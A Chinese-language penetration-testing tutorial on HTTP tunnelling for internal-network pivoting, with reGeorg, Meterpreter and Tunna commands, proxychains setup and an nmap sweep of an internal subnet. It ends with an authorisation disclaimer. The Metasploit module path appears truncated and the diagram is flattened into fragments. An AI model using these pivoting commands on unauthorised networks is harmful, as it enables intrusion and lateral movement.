内网穿透利器：基于HTTPHTTPS隧道的代理工具深度解析

在渗透测试和内网渗透中，HTTP/HTTPS隧道技术是突破网络边界的关键手段。它通过将TCP流量封装在HTTP协议中，穿透防火墙/NACL策略，实现内网横向移动。本文以reGeorg为核心，结合Meterpreter、Tunna等工具，深入解析其原理与实践。

reGeorg
- 原理：在目标服务器部署隧道脚本（如tunnel.jsp），将本地SOCKS代理流量转发到内网。
- 优势：支持多种Web语言（PHP/JSP/ASPX）、低权限运行、流量伪装。
- 命令示例：
  bash 复制代码
```
python reGeorgSocksProxy.py -u http://192.168.1.149:8080/tunnel.jsp -p 9999
```
  - -u: 隧道脚本URL
  - -p: 本地SOCKS代理端口
Meterpreter (Metasploit)
- 使用portfwd模块建立反向隧道：
  msf 复制代码
```
use post/windows/manage/portfw
set LPORT 8888
set RHOST 10.1.1.100
run
```
Tunna
- 通过单个HTTP连接实现端口转发：
  bash 复制代码
```
python proxy.py -u http://victim.com/conn.aspx -l 8000 -r 3389
```

启动本地SOCKS代理

bash 复制代码

python reGeorgSocksProxy.py -u http://192.168.1.149:8080/tunnel.jsp -p 9999

配置应用流量转发
- 修改浏览器或Proxychains的代理设置：
  ini 复制代码
```
# /etc/proxychains.conf
socks5 127.0.0.1 9999
```
访问内网资源
bash 复制代码
```
proxychains nmap -sT -Pn 10.1.1.0/24
```

连接本地代理 2. HTTP封装请求 3. 解密转发 4. 返回响应 5. HTTP封装响应 6. 返回数据攻击者 Local SOCKS:9999 Web服务器:8080/tunnel.jsp 内网主机:3389/SSH/数据库

拓扑说明：

HTTP/HTTPS隧道是内网渗透的"隐形桥梁"，reGeorg因其轻量化和兼容性成为首选。防御方需结合流量审计与主机加固，实现纵深防御。技术本身无善恶，请遵守**《网络安全法》** ，所有测试需获得授权！

附录：工具链接

版权声明：本文仅用于技术交流，未经授权禁止用于非法用途。